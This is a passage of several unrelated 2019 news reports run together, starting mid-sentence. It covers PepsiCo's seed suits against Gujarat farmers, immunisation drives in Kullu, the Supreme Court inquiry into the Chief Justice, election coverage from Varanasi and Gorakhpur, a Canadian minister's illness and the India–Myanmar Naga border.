added. PepsiCo gives out the potato variety to farmers on contract. However, according to the PPV And FR Act, even if farmers grow a registered variety, it was not illegal as long as they dont brand it. Under Section 39 of the PPV And FR act which specifically deals with farmers rights, Notwithstanding anything contained in this Act, a farmer shall be deemed to be entitled to save, use, sow, resow, exchange, share or sell his farm produce including seed of a variety protected under this Act in the same manner as he was entitled before the coming into force of this Act: Provided that the farmer shall not be entitled to sell branded seed of a variety protected under this Act. Explanation.For the purposes of clause (iv), branded seed means any seed put in a package or any other container and labelled in a manner indicating that such seed is of a variety protected under this Act. You are talking of irreparable losses to a giant company from small farmers who barely own three to four acres. PepsiCo is trying to wipe out competition to its potato chips by using this route. One of the lines of this hybrid potato variety is from the University of Wisconsin, a public institution, so somewhere the farmer has developed this strain over which now the company is staking a right, Ms Kuruganti pointed out. For the first time since the PPV And FR Act was enacted, Intellectual Property Rights (IPR) infringement cases have been filed against farmers. This is a test case for implementation of farmers rights under the PPV act, according to Shalini Bhutani, legal researcher and policy analyst on IPR and agriculture. Section 39 of the Act specifically guarantees farmers rights and it is meant to safeguard the farmers inherent seed freedoms irrespective of breeders rights. Indias PPV law is unique in that sense. It may be recalled that the biggest opposition to signing the World Trade Organization agreement was the farming community because they feared an intellectual property rights regime would stifle them. Indias PPV law is WTO-compliant. The question now is how is the court going to interpret this law as the legislative intent is quite clear that farmers cannot be harassed. The court will have to balance the farmers rights under section 39 and the breeders rights under section 28 of the PPV Act, Ms Bhutani explained. In this case, Ms Bhutani said the company is using its own variety shipped from the United States. It does its own seed multiplication under contract farming with farmers. However, the company is subject to Indian laws and section 39 clearly is over and above any other provision in the PPV Act. It is now up to the government also to ensure that the courts do not distort or dilute the farmers freedoms. Legally there are spaces within the law to allow the farmer to use, sow and resow a registered variety and the courts should interpret the law favourably to the farmer, she said. The other important question is why do such issues surface in Gujarat- is there a grey market which needs investigation? she asked. None of the farmer-friendly measures in the PPV Act are implemented. Moreover, the honeymoon period of the PPV Act in which farmers varieties were registered, is coming to an end; the farmers need a clear interpretation of the law for the days ahead when companies wedded to their IPRs will aggressively defend them. Another issue is why allow companies to bring in varieties from outside and grow them in India when there are perfectly good ones suiting each agro-climatic region in the countrys public collections. The case has drawn protests from many farmers unions, farmers rights advocacy groups and individuals who held a press conference in Ahmedabad on 24 April, demanding that PepsiCo immediately withdraw all the legal suits it has slapped on many potato farmers in different districts of Gujarat. The Indian subsidiary of the US MNC, namely PepsiCo India Holdings (PIH) Pvt Ltd has filed cases of IPR infringement through 2018-2019 against farmers whom it claims are using its potato variety FL 2027/FC5 without permission." A press statement said that the Government of India and the Government of Gujarat should step in immediately to protect farmers rights as already enshrined in relevant laws of the country, particularly the PPV act. A separate letter signed by eminent citizens, activists, farmer unions and other organisations was sent to the Chairperson and Registrar General of Indias Protection of Plant Varieties and Farmers Rights Authority under the Ministry of Agriculture and Farmers Welfare, with copies to the Union Agriculture Minister Radhamohan Singh and others, demanding immediate intervention from their side, which include issuing a submission to the Commercial Court and High Court in Ahmedabad where the farmers are being sued, explaining the farmers rights as enshrined in the PPV Act, 2001, writing to PepsiCo India Holdings, asking it to withdraw its false and untenable cases against the farmers and issuing a notification that no company can trespass into a farmers field without due intimation of the local district agriculture office and the farmers prior informed consent. PepsiCo apparently got a tip-off that the farmers were growing 'its registered variety' of FL-2027 and in a completely unacceptable manner, hired a private detective agency to pose as potential buyers to the farmers, to take secret video footage and collect samples from farmers fields without disclosing its real intent, according to the letter issued by eminent citizens. Ms Kuruganti and other activists are emphatic that this is a clear case of harassment and intimidation of farmers to wipe out the competition, while ignoring the law. Its a question of seed sovereignty, and is also a question of impacting livelihoods. This potato variety has been grown in India since 2009, while the company registered it only in 2016, she said. The farmers said they have been reusing the seeds over the years and even its a hybrid, and some characteristics may be lost over time, they are getting a crop. It is an extant variety and in use, she added. A company spokesperson for PepsiCo shared a statement that read: "PepsiCo India has proposed to amicably settle with people who were unlawfully using seeds of its registered variety. PepsiCo has also proposed that they may become part of its collaborative potato farming programme. This programme gives them access to higher yields, enhanced quality, training in best-in-class practices and better prices. In case they do not wish to join this programme, they can simply sign an agreement and grow other available varieties of potatoes. It is significant to note that the companys collaborative potato farming programme is best in class and is built on strong backward and forward linkages that improve livelihoods by using protected seeds. The company was compelled to take the judicial recourse as a last resort to safeguard the larger interest of thousands of farmers that are engaged with its collaborative potato farming programme. PepsiCo India remains deeply committed to resolving the matter and ensuring adoption of best farming practices. Kullu district performs well on immunisation with 89 percent immunisation coverage which is in line with the overall high immunisation coverage of the state. Dr Ramesh Chander Guleria, district program officer (RCH) DDU Shimla, Himachal Pradesh, relates the experience of health workers trying to get families in slums to vaccinate their children. Famous as a part of Dev Bhumi and one of the most frequented tourist destinations of India, Kullu district, is blessed with the bounties of nature. The district performs well on immunisation with 89 percent immunization coverage which is in line with the overall high immunisation coverage of the state. In Kullu's slums settlements of Sarwari, Piridi and Bhuntar, most residents are migrants from Bihar, Rajasthan and Uttar Pradesh. In Sarwari, most daily labourers are from Bihar. In Piridi, the residents hail from Uttar Pradesh, and have been living and working in the citys garbage dump. The people in the Bhuntar slum hail from Rajasthan and are engaged in segregating garbage. There are many reasons why immunisation is a challenge here, including illiteracy, ignorance, lack of awareness about the need for good health and the basic struggle to make a livelihood. All these have made these slums a challenge for the immunisation team of the district, according to information on the website of the Ministry of Health and Family Welfare. People in these migrant communities believe that vaccines will make children weak, and hence they are opposed to immunising their children. To dissuade the Auxiliary Nurse Midwife workers (ANMs) and Accredited Social Health Activists (ASHAs) from entering the area, the slum dwellers often let loose dogs behind the health workers, snatch their wallets and mobile phones. However, the district team did not give up and continued with their efforts. With the introduction of Mission Indradhanush and the thrust to immunise all unimmunized and partially immunized children through additional sessions in uncovered and under-covered areas, the district immunisation teams drive to convince the slum dwellers intensified Taking a step further, the district's senior immunisation officials visited these slums to understand the problem in-depth and assess for themselves the barriers that were preventing these slums from accessing immunisation services. In order to mobilise the community of these slums, the District Immunisation Officer (DIO), Medical officer, Health (MOH) and his team of doctors, ANMs and ASHAs held meetings with the leaders of the slums, met with parents and family members and explained to them the importance of immunisation. The team also held group discussions with the slum dwellers where they were asked to pose questions to the immunisation team. Along with the official visits, the ASHAs visited each and every household and did one-to-one meetings with mothers and key family members, informing them about the special Mission Indradhanush (MI) sessions. Banners were put up in the common areas of the slums. The frequent visits by the senior officials and their efforts made a positive impression on these slum dwellers. There was a good turnout of children during all the MI sessions held in these areas and the immunisation coverage has improved tremendously since then. Presently, with the continued and dedicated efforts of the DIO and his team, all the children of these slums are taking vaccines regularly. The situation has changed now that, if any child misses any vaccines due to any reason, the parents call the ASHAs to complete the vaccination. The first hearing will be conducted on Friday and the apex court secretary general has also been asked to be ready with all documents and materials. Supreme Court judge Indu Malhotra was Thursday appointed as a new member of the panel, following the recusal of Justice NV Ramana. Editor's note: This article, originally published on 24 April, 2019, had profiles of the three judges who comprised the panel picked by Chief Justice of India Ranjan Gogoi conducting an inquiry into sexual harassment allegations against himself. The panel had originally included Justice SA Bobde, Justice NV Ramana and Justice Indira Banerjee. On 25 April, however, Justice Ramana recused himself and was replaced by Justice Indu Malhotra. The article has been updated and republished to incorporate this change. *** Justice SA Bobde, the senior-most judge of the Supreme Court after Chief Justice of India Ranjan Gogoi, was one of the three judges appointed to conduct an in-house inquiry into the allegations of sexual harassment levelled against Gogoi. Justice Bobde told PTI that he had decided to constitute a panel with two apex court judges, NV Ramana and Indira Banerjee. "I decided to have Justice Ramana in the panel as he is next to me in seniority and Justice Banerjee, as she is a woman judge," Justice Bobde said. The first hearing will be conducted on Friday and the apex court secretary general has also been asked to be ready with all documents and materials. Supreme Court judge Indu Malhotra was Thursday appointed as a new member of the panel, following the recusal of Justice NV Ramana. This is the first time that a sitting Chief Justice of India has been accused of sexual harassment, and consequently the first time that such a panel has been formed to look into such a charge. The judges will, thus, have to prioritise distance from the power hierarchy of the institution they serve and also from the party levelling the allegation which has already been labelled by Gogoi as "unbelievable." Here is a brief introduction to the three. Justice SA Bobde Supreme Court judge Sharad Arvind Bobde is next in line to become the Chief Justice. A former Chief Justice of the Madhya Pradesh High Court, Bobde is currently serving as the chancellor of Mumbai's Maharashtra National Law University and Nagpur's Maharashtra National Law University. Bobde got his Bachelor of Arts and Bachelor of Law degrees from Nagpur University and was enrolled on the Bar Council of Maharashtra in 1978. He practised at the Nagpur bench of the Bombay High Court for more than 21 years. Designated as a senior advocate in 1998, Bobde was elevated as an additional judge of the Bombay High Court in 2000. He was sworn in as Chief Justice of Madhya Pradesh High Court in 2012 and elevated to the Supreme Court in 2013. He was part of a three-judge bench of the Supreme Court, along with Jasti Chelameswar, and Chokkalingam Nagappan, which significantly clarified in 2015 that no Indian citizen without an Aadhaar card can be deprived of government services and subsidies. In 2017, Bobde was part of the two-judge bench with Justice L Nageswara Rao which rejected a 37-year-old woman's plea seeking termination of her 23-week-old foetus fearing genetic disorder. He was also part of the bench with Justice TS Thakur and Justice AK Sikri that suspended the sales of firecrackers in the National Capital Region in 2016. Justice Indira Banerjee Indira Banerjee is the Supreme Court's eighth female judge. A history honours graduate from Presidency College in Kolkata, Banerjee got her Bachelors of Law degree from Calcutta University and began practising in 1985. She practised both in the Original and Appellate Sides of the Calcutta High Court in all branches of law except criminal, with appearances in the Supreme Court and was elevated as a permanent judge of Calcutta High Court in 2002. She was the chairperson of the Calcutta High Court Services Committee for almost four years. Banerjee was appointed a judge of the Delhi High Court in 2016 and headed the Delhi State Legal Services Authority. She was sworn in as Chief Justice of Madras High Court in 2017 and elevated to the Supreme Court in 2018. Shortly after her elevation, Justice Banerjee, in a bench with Justice R Banumathi observed that a woman has a "right to refuse to submit herself to sexual intercourse to anyone" even if she is habituated to sexual intercourse while setting aside a Delhi High Court verdict that acquitted four men of rape in a 1997 case. Justice Indu Malhotra When Indu Malhotra was appointed as a judge of the Supreme Court in 2018, she became the seventh woman judge in the history of the apex court and the first woman to be appointed as judge directly from the bar. A 1975 political science graduate from Delhi's Lady Shri Ram College, Malhotra received her law degree from Delhi University. In 1983, she became an advocate after a short stint as a lecturer. and later, secured the first position in Advocates- On Record Exam for the Supreme Court. reported SC Observer. She ranked first in the Advocate-on-Record Examination of 1988 and was awarded the Mukesh Goswami Memorial Prize. In 2017, she was appointed as a member of the high-level committee constituted by the Ministry of Law and Justice to review the working of arbitration institutions in India. Significantly for the case at hand, Malhotra was a member of the Viskaksha Committee on Sexual Harassment at the Workplace and a member of a committee constituted by the apex court to deal with sexual harassment complaints within the court. Malhotra was part of the bench in cases which resulted in landmark judgments such as the decriminalisation of Section 377 of the Indian Penal Code and the decriminalisation of adultery. In late 2018, she wrote the sole dissenting opinion in the Sabarimala Temple case, upholding the custom which disallowed menstruating women from entering the temple. Narendra Modis Varanasi roadshow on Thursday which surpassed the 2014 roadshow in scale and grandeur served to highlight a few trends that are becoming evident. There have been debates in media on why Congress backed out at the last minute from fielding Priyanka Gandhi Vadra against Prime Minister Narendra Modi in Varanasi after such a song and dance. The reason is not hard to understand. The newest Gandhi scion on the block may have talked up her willingness to take on the prime minister in his Lok Sabha constituency but a reality check would have told the Congress that a bruising defeat was the most likely possibility. Poll bravado notwithstanding, Congress didnt consider it prudent to risk a Gandhi being battered at the electoral hustings against Modi in a seat where it was on the margins. It makes sense too. The First Familys image would have taken a beating and Congress morale would have been affected. Fielding Ajay Rai from Varanasi, who came third in 2014 behind Arvind Kejriwal, is the party attempting to cut its losses. The spectacle of a grand Modi roadshow in Varanasi on Thursday followed by the prime ministers Ganga aarti at the Dashashwamedh ghat juxtaposed with Congress chickening out at the last minute on Priyanka. The contrast couldnt have been starker. On a day BJP coloured the temple town saffron and Modi was mobbed in Varanasi, the Congress appeared at a loss and on the verge of throwing in the towel. Modi told Varanasi that he will be back to thank everyone after the results are out. At the halfway stage of 2019 Lok Sabha elections, when polling in 303 out of 543 seats have been completed across 20 states and Union Territories, BJPs show of strength in Varanasi via a spectacular roadshow on Thursday and Modis symbolism-loaded filing of nomination on Friday sent the message that the saffron party is confident about its chances. On the other hand, before polling commences in the next four phases, including BJP strongholds in the Hindi heartland, the Opposition appears a fractured, splintered, bickering bunch. Its components are too busy fighting among themselves to offer a united front. The Oppositions chaos serves to only highlight the order that NDA has showcased. Modis Varanasi roadshow on Thursday which surpassed the 2014 roadshow in scale and grandeur served to highlight a few trends that are becoming evident. It would be foolish to assume that not a huge amount of preparation had gone into the programme, but the spontaneity and enthusiasm from common people that was on display, and the way the prime minister was greeted, point to Modis deep connect with the masses. It wouldnt be out of place to argue that Opposition and political analysts have, so far, been unable to understand the true nature of this phenomenon. In a number of recent interviews, BJP president Amit Shah has been at pains to claim that analysts are overestimating the impact of SP-BSP alliance. Pollsters, analysts and the Opposition have claimed that the BJP which won 73 Lok Sabha seats in UP with 43.6% vote share (with ally Apna Dal) will see its seats getting chopped to the region of 35-37 seats unless it may hike up its vote share to the 50 percent mark, which by all accounts is projected as an impossibility. Shahs contention is that this analysis is outdated, because the leaders (read Mayawati or Akhilesh Yadav) who draw strength from caste divisions and are allying in hope to consolidate their respective bases against the BJP, are no longer the custodian of their bases. Shahs logic is that five years of Modi rule and the work that he has done has turned voters into independent agents who have seen the difference on the ground, have developed their own agency and no longer follow the diktat of their caste leaders. In an interview with Indian Express, the BJP president was quoted as saying, The UP analysis being done by the media is based on politics from 10 years ago when voters were virtually tied with leaders as vote banks The situation has completely changed in UP and the country. In fact, voters are no more hostage to their leaders. Voters are taking their own decisions Even today, I am confident we will maintain our 73 seats and can go up beyond 74. It is tempting to dismiss Shahs comments as poll rhetoric, but the absolute frenzy that was display as Modis cavalcade made its way through the lanes and bylanes of the temple town over a six-kilometre span indicate that Shah may have caught on to something. Acknowledging BJPs ability to organise such events on grand scale, and taking into account the possibility that a large number of the teeming crowd that lined up the streets, balconies, terraces and every possible nook and corner to get a glimpse of Modi could be BJP workers, it is a stretch to think that the entire crowd was organised by the party. The second trend became evident when Modi appeared in Varanasi to file his nomination papers. The BJP gave a veritable lesson to its political rivals on how every incident can be turned into a poll campaign and a message may be sent home. Modis filing of nomination saw key BJP leaders being present: Rajnath Singh, Nitin Gadkari, Sushma Swaraj, Himanta Biswa Sarma, among others. The message went loud and clear that Modis primacy in the party as the prime ministerial candidate is absolute, and there cannot remain even a murmur of dissent. Gadkaris presence was significant because Congress president Rahul Gandhi has attempted to encourage a coup within BJP with Gadkari at the centre. A section of media has enthusiastically played along. The presence of all NDA allies during Modis filing of nomination, including Shiv Sena chief Udhhav Thackeray, Akali Dal patriarch Parkash Singh Badal, AIADMK coordinator O Panneerselvam, Nagaland Chief Minister and the national convener of NDPP Niphieu Rio, was no less significant. The BJP was putting forward a visual of unity among NDA constituents to be aired into millions of homes. It was a deliberate move to show the unity and stability that a BJP-led NDA government may offer in contrast with the bickering bunch where Akhilesh Yadav is taking potshots at Rahul Gandhi, Congress president is blaming Arvind Kejriwal while the AAP chief, in turn, is accusing Rahul of acting as a BJP agent. Every little symbolism counts in a campaign and it went to show how Opposition has no answer to BJPs well-coordinated strategy. Two more developments were worth noting. Before filing his nomination, Mod addresses BJP cadres and workers in a meet where he urged them to go and win every booth. He warned the BJP workers against becoming complacent and asked them to ensure that all polling records are broken. This shows two things. One, the BJP has taken lessons from the 2004 debacle when the party suffered from complacency over its performance. Two, the Modi-Shah duo keeps nothing to chance and attempts to tick every conceivable box. The second development worth noting was Modis gesture to touch the feet of Parkash Singh Badal, the Akali Dal patriarch. Akali Dals stock might be down in Punjab at the moment, but through the gesture, Modi was showing respect to an elder, humility to an ally, attaching a value to the partnership and sending a message that the alliance will remain intact despite the downturn in Akali Dals fortunes. This sends a reassuring message to allies that the BJP, despite being the single-largest party among NDA, is keen to maintain relationship with alliance partners. This is an important lesson in coalition politics, more so because the BJP has been erroneously accused of being arrogant in the past. From 1991, the Gorakhpur constituency in Uttar Pradesh has been considered a BJP stronghold. Gorakhpur: The Gorakhpur constituency in Uttar Pradesh has been considered a BJP stronghold since 1991. However, the 2019 general election might not be a cakewalk for any political party, especially the BJP. The Gorakhnath Mutt (a temple of the Nath community) has a big influence on the constituency. Uttar Pradesh chief minister Yogi Adityanath is the mahant (head priest) of the Mutt. This time round, Adityanath's former aide Sunil Singh has also entered the fray to contest polls from Gorakhpur. He floated his own party: the Hindu Yuva Vahini Bharat. The BJP has fielded Bhojpuri star Ravi Kishan Shukla from this constituency. The contest looked like a win-win for the Gathbandhan till a few weeks ago, when the Nishad Party of Dr Sanjay Nishad left the alliance and joined the BJP. Nishad apparently demanded five seats for his party, but was denied by the Samajwadi Party (SP). Congress has fielded Madhusudan Tiwari from the seat. Speaking to the media, Praveen Nishad, MP from Gorakhpur stated that the Nishad Party would not settle for less. We have been obeying netaji (Akhilesh Yadav) for the last two years. We are not anyones servant. It is okay that their's is a bigger party and we are small, but we defeated the BJP in the 2018 bypolls. We will never compromise on our prestige, he said. Rakesh Tripathi, BJP's Uttar Pradesh spokesperson stated that MP Praveen Nishad joined the BJP after being influenced by the party's leaders. "They joined us after being influenced by our governance and leaders like Prime Minister Narendra Modi. The party gave them the ticket for the Santkabir Nagar constituency. The BJP believes in 'sabka saath sabka vikas,' that's why other political parties are also keen to enter into an alliance with the BJP or are joining our party. Many leaders have joined the BJP in the last two months," said Tripathi. Not everyone is happy about this development. Social activist Vimlesh Nigam said, "As a public representative, he should have thought before joining the BJP that it was the public who voted him to power. Doing such things for political gain is nothing less than a breach of trust of the voters." Experts say the battle for Gorakhpur is crucial for the BJP and hence the party took a long time to finalise a candidate. Uttar Pradesh political analyst Rudra Pratap Dubey said, SP fielded its former minister Ram Bhuwal Nishad. Sunil, who was Adityanath's right hand and the strongest leader of Hindu Yuva Vahini (HYV) is also contesting against the BJP. The BJP seems to have been caught on the back foot and are facing tough competition. He added, "BJP's prestige is at stake because this seat has been with the party since 1991. They lost for the first time to Nishad Party in 2018. Besides, Sunil played a critical role in building support for Adityanath on ground, and people in the constituency are familiar with him. Manoj Kumar Singh, a political observer, stated that the only poll agenda for Gorakhpur residents is the Mutt and/or Adityanath. The Mutt and the Gorakhnath temple have always had a strong hold over this constituency. Before Adityanath, his guru Mahant Awaidya Nath represented this seat in Parliament. Development and other issues have not played a role in Gorakhpur elections. If it was about the issues, then the deteriorating healthcare infrastructure or damage caused by floods would have gained attention. Gorakhpur has always voted on the basis of caste and for the Mutt, Singh explained. Spotlight on Nishad, Dalit and Muslim voters In the March 2018 by-elections, Gorakhpur elected Praveen Nishad, a candidate from the little-known Nishad Party. Praveen is the son of the party chief and contested the elections on an SP ticket. The Nishad community is the most dominant group in Gorakhpur and comprise 23 percent of the population, about 4.5 lakh of the constituency's population of around 19.5 lakh voters. The caste equation in the region stands at around 3.5 lakh Muslims, 1.5 lakh Dalits (Paswan), 2 lakh Kshatriyas, 2 lakh Yadavs, 1.5 lakh Brahmins, 2 lakh Saithwars and less than 1 lakh Vaishyas and Bhumihars. Professor RR Jha of the Political Science department at Banaras Hindu University (BHU) said the general election would be the most keenly contested polls in Gorakhpur and a test for the chief minister. Everything is at stake for Adityanath because he did not take a lot of interest in the 2018 bypolls when tickets were distributed without consulting him. This time, the BJP is doing a lot of brainstorming over the issue of choosing the right candidate, taking into consideration the chief minister's choice and the caste equations, he said. Forget Raebareli, Varanasi or any other VIP constituency. This time, Gorakhpur and Amethi are the hot seats. Gorakhpur-based senior journalist Manish Pandey believes the contest is going to be interesting because the BJP has fielded a Brahmin candidate which may not go down well with the Thakurs or Kshatriyas. "If you look at the history of Gorakhpur you will find that the Thakurs and Brahmins are always at loggerheads. Adityanath is a Kshatriyas and Brahmins were not happy with his candidature. Another interesting point is that the chief minister still holds the key to Gorakhpur because he shifted sitting MP Praveen Nishad to Santkabir Nagar. The chief minister did not do much in the last by-elections for the BJP candidate because he was not his first choice," said Pandey. Adityanath's hold on Gorakhpur Adityanath fought the first Lok Sabha elections from Gorakhpur in 1998 and was contesting against Yamuna Prasad Nishad of the Samajwadi Party (SP). Adityanath won that election with a margin of 26,206 votes. In 2004, he again contested against Prasad and the victory margin increased to 1,43,309 votes. In 2009, Adityanath defeated Bahujan Samaj Party's (BSP) Vinay Shankar Tiwari with 22,000 votes and in 2014, he defeated Rajmathi Nishad of SP with a vote margin of over 3 lakh votes. Gorakhpur is going to the polls in the seventh and last phase of the Lok Sabha elections on 19 May. Author is a Lucknow-based freelance writer and a member of 101Reporters.com Photo: The Canadian Press Dominic LeBlanc is stepping away temporarily from his duties as intergovernmental and northern affairs minister after being diagnosed with a form of non-Hodgkin lymphoma. The 52-year-old plans to go back to work once treatment is completed and he still intends to run for re-election this fall in the New Brunswick riding of Beausejour, which he has held since 2000. This is LeBlanc's second bout with cancer; he was diagnosed in April 2017 with chronic lymphocytic leukemia and was declared to be in "complete remission" last October. His oncologist, Dr. Nicholas Finn, says non-Hodgkin lymphoma is a treatable condition and LeBlanc has responded positively to initial treatments. Finance Minister Bill Morneau will take over LeBlanc's duties on the intergovernmental and internal-trade files for now. Crown-Indigenous Relations Minister Carolyn Bennett will take on issues related to northern affairs. Rahul Gandhi said return to the national capital meant that his election rallies in Bihar, Odisha and Maharashtra would be delayed Congress president Rahul Gandhi, on Friday morning, tweeted that his aircraft to Patna was forced to return to Delhi because of engine trouble. Rahul said return to the national capital meant that his election rallies in Bihar, Odisha and Maharashtra would be delayed. "Todays meetings in Samastipur (Bihar), Balasore (Odisha) and Sangamner (Maharashta) will run late. Apologies for the inconvenience," he wrote. The tweet also accompanied a video which shows a flight in turbulence and where he can be heard saying, "Tweet it out, otherwise they will say you were delayed." Engine trouble on our flight to Patna today! Weve been forced to return to Delhi. Todays meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience. pic.twitter.com/jfLLjYAgcO Rahul Gandhi (@RahulGandhi) April 26, 2019 Post his rallies in Uttar Pradesh, where he had fired a fresh salvo at Prime Minister Narendra Modi, the Congress leader was scheduled to address a public meeting in Patna at around 10:30 am on Friday. This, however, is not the first time that a plane carrying Rahul had faced problem. In 2018, his plane from Delhi to Hubli in Karnataka had "malfunctioned" even as several technical errors occurred during the course of the flight. The Congress had then filed a police complaint after the aircraft made a rough landing, endangering the life of passengers. The Supreme Court of India that played the most important role in institutionalising the safeguards for women against sexual harassment at workplace. Former Chief Justice of India (CJI) TS Thakur in a foreword to a handbook titled Handbook on the Sexual Harassment of Women at Workplace (Prevention, Prohibition, and Redressal) Act, 2013 with the Gender Sensitization & Sexual Harassment of Women at the Supreme Court of India (Prevention, Prohibition, and Redressal), Regulations, 2013 writes, The Supreme Court of India has been vigilant in protecting the rights of women by adopting a gender-sensitive approach in consonance with the provisions the Act has framed the Gender Sensitization and Sexual Harassment of Women at the Supreme Court of India (Prevention, Prohibition, and Redressal) Regulations, 2013." Justice Thakur also pointed out that it was in the Vishakha and Ors vs State of Rajasthan, (1997) case that the Supreme Court laid the guidelines to prevent sexual harassment of women at a workplace that is to be followed by the institutions. It was after 16 years of Vishakha case that these guidelines got statutory status in 2013 by enacting Sexual Harassment of Women at Workplace (Prevention, Prohibition, and Redressal) Act, 2013. This information settles the fact that it was the Supreme Court of India that played the most important role in institutionalising the safeguards for women against sexual harassment at workplace. The Supreme Court website in the list of committees includes Supreme Court Gender Sensitisation and Internal Complaints Committee (GSICC) with Justice Indu Malhotra of the Supreme Court as its chairperson. The apex court also has Internal Complaints Committee under Section 4 of the Sexual Harassment of Women at Workplace (Prevention, Prohibition and Redressal) Act, 2013. Given these facts, the first question that was asked in the wake of allegations of sexual harassment made against the Chief Justice of India (CJI) Ranjan Gogoi (by a former junior court assistant) was: why was the complaint against CJI not referred to this committee, immediately after the allegations were made. Answer to this question lies in the definition of aggrieved women in the Gender Sensitization and Sexual Harassment of Women at the Supreme Court of India (Prevention, Prohibition and Redressal) regulation 2013. The definition of aggrieved women reads, The gender sensitization and sexual harassment of women at the Supreme Court of India (Prevention, Prohibition and Redressal) regulation 2013 in the definition of aggrieved women says, aggrieved women means in a relation to the Supreme Court, any female , of any age , whether employed or not , who claims to have subjected to any act of sexual harassment by any person in the Supreme Court of India precincts, but does not include any female who is already governed by the Supreme Court service regulation. The fact is that the complainant or the aggrieved women in this case is former Supreme Court employee and hence governed by the Supreme Court service regulation. The alleged act of sexual harassment according to complainants affidavit took place outside of precincts of the Supreme Court. Hence, GSICC had no jurisdiction over this case. An important question arises here. As judges and employees of Supreme Court are governed by the Supreme Court service regulation they are not under the jurisdiction of GSICC. Then under whose jurisdiction or which act or rule, guides the process of inquiry if there is any allegation of sexual harassment or any other allegation made against them. Supreme Court advocate Ashok Dhamija tells that there is an in-house procedure that was adopted by the Full Court Meeting of the Supreme Court for conducting inquiry into allegations against (i) a Judge of the High Court, or (ii) a Chief Justice of a High Court, or ((iii) a Judge of the Supreme Court. Dhamija says, It may be recalled that during the 1990s, the Supreme Court had appointed a committee consisting of three Supreme Court judges, namely, Justice SC Agrawal, Justice AS Anand, and Justice SP Bharucha, and two senior-most Chief Justices of High Courts, namely, Justice PS Misra of the Andhra Pradesh High Court and Justice DP Mohapatra of the Allahabad High Court, to lay down the in-house procedure, for taking suitable remedial action against judges, who by their acts of omission or commission, do not follow the accepted values of judicial life, including the ideals expressed by the Supreme Court in the Restatement of Values of Judicial Life. This committee submitted its report on 31 October, 1997, and the report was adopted with certain amendments in Full Court Meeting of the Supreme Court held on 12 December, 1999. The report in detail lists steps to be taken if a complaint is received against a Supreme Court. The process to be followed is according to the report is: If a complaint is received against the judge of the Supreme Court by the CJI or if such a complaint is forwarded to him by the President of India, the CJI shall first examine it and if it is found by him that it is either frivolous or directly related to the merits of a substantive decision in a judicial matter or does not involve any serious complaint of misconduct or impropriety, he shall file the complaint without any further action. In case it is found by him that the complaint is of a serious nature involving misconduct or impropriety, he shall ask for the response thereto of the judge concerned. If, on a consideration of the allegations in the light of the response of the judge concerned, the CJI is satisfied that no further action is necessary he shall file the complaint. If, however, he is of the opinion that the matter needs a deeper probe, he would constitute a Committee consisting of three judges of the Supreme Court. The said Committee shall hold an inquiry on the same pattern as the committee constituted to examine the complaint against a judge of a high court and further action on the same lines in the light of the findings of the Committee shall be taken by the CJI. The report makes an important observation at the end, The Committee, feels that the In-House Procedure suggested herein will allay the misgivings in certain quarters that the members of the higher judiciary are not accountable for their conduct. At the same time, it will also serve as a safeguard for the members of the higher judiciary from being maligned or being subjected to vilification by false and frivolous complaints. The Committee earnestly hopes that the occasions for invoking the In-House Procedure will seldom arise. Now, in this particular case, the complaint is against the CJI himself and the in-house procedure does not dwell on the process to be followed in such a case. Given this scenario, the Supreme Court with the approval of Full Court decided that its senior-most puisne judge, Justice SA Bobde, will conduct an In-House inquiry into the charges made against the CJI'. Justice SA Bobde is the senior--most puisne judge and he will be the next CJI. It was the best option that Supreme Court chose to entrust him with the task of investigating the allegations against CJI Gogoi, says Dhamija. It was in these circumstances and following the rules, that a committee of Justice SA Bobde, Justice NV Ramana and Justice Indira Banerjee was constituted to investigate the matter. However, on 25 April, Justice Ramana recused himself and was replaced by Justice Indu Malhotra. Given these facts, it can be said that apart from the criticism of CJI Gogois decision to constitute a bench to deny charges made against him, the formation of an in-house committee, the appointment of Justice SA Bobde to head it, had all been done following the established procedures. Will recent cooperation between armies of India and Myanmar break the Naga movement? If only walls could talk, the smoke-stained bricks of the royal kitchen hall would have had so many tales to tell. For it is here, across the thick wooden table in the room of the Ang (chief) of Lungwa that many gun-toting Naga, the Assamese or the Manipuri insurgents would speak to him and among themselves before slipping across into Myanmar headed for their training camps or before setting foot in Indian territory on way from the Patkai hills of Myanmar, as also officers of the Indian and the Myanmar army (called the Tatmadaw) who would drop in for that unusually strong cup of tea boiled in a bamboo tube over the fire. Lungwa village, known to be a much favoured route among insurgents for movement of men and weapons due to its remoteness and porous border, is straddled across the crest of a mountain that overlooks India on one side and Myanmar on the other. It is about three hours of arduous and dizzy mountain driving away from the Mon district headquarters in eastern Nagaland. Most of the insurgent groups from Indias Northeast operate from bases located across a virtually ungoverned and inaccessible 60,000 sq km tract in western Myanmar that skirts Arunachal Pradesh, Nagaland and Manipur, where Longwa is one of the hotspots. Stretching about 1,300 km in length from Arunachal Pradesh in the north to Manipur in the south, and an average of about 50 km in width till the Chindwin river in Myanmar, it is in this area where insurgent cadres are trained in warfare and ideologically indoctrinated. These groups are organised under a single platform called United National Liberation Front of Western South East Asia (UNLFWSEA) that was formed in April 2015. The Ang of Longwa, Tonyei Phawang, a wiry and slightly built man of 42, lords over a swath of mountains inhabited by the till-recently headhunting Konyaks from 42 villages, 38 of which are in Myanmar and four inside Nagalands Mon district. He has two wives while his father, the Ang who passed away in 2015, had 14 wives. Konyak is one of the biggest of the about 40 Naga tribes. Now for the last three years, once every month, the Tatmadaw and the Indian security forces meet here and talk before having food and liquor. They seem to be friendly now. In the past, Burmese soldiers would snatch our fowls and pigs and force our men to carry their baggage and equipment. Now there is much politeness and decency, he says in Nagamese, a creole that is the lingua franca in Nagaland where each tribe has its own distinctive dialect. Let us be in peace. We do not want any trouble here, be it the Indian soldier or the insurgent, everyone is welcome here, but no one will create any trouble. There is no one big or small here because the bullet is the same for all, he says underlining the fact that the Naga customary law is what rules in these parts. When the skilled Konyak Naga hunters make a killa bear, a deer or any other creature of the wildit is to be shared with the Ang. It is the force of tradition. It is what it was and will be so. The head of the kill and the right thigh is always for the royal kitchen as is ripe rice, he says, seated across the kitchen table where the large fireplace falls inside Myanmar territory while the place of the kitchen utensils neatly arrayed against the wall falls in Indian territory. The Mon district commissioner, Thavaseelan K, from Tamil Nadu, is happy with the peaceful turn in what was till recently the Wild Wild East. Mon district is safer than many metro cities. Nagas do have certain genuine grievances but from the administrations side we are doing our best to assuage concerns. Of course, the problem of drug addiction, especially of opium, is a huge issue. But then of course, that is the young IAS officers polite 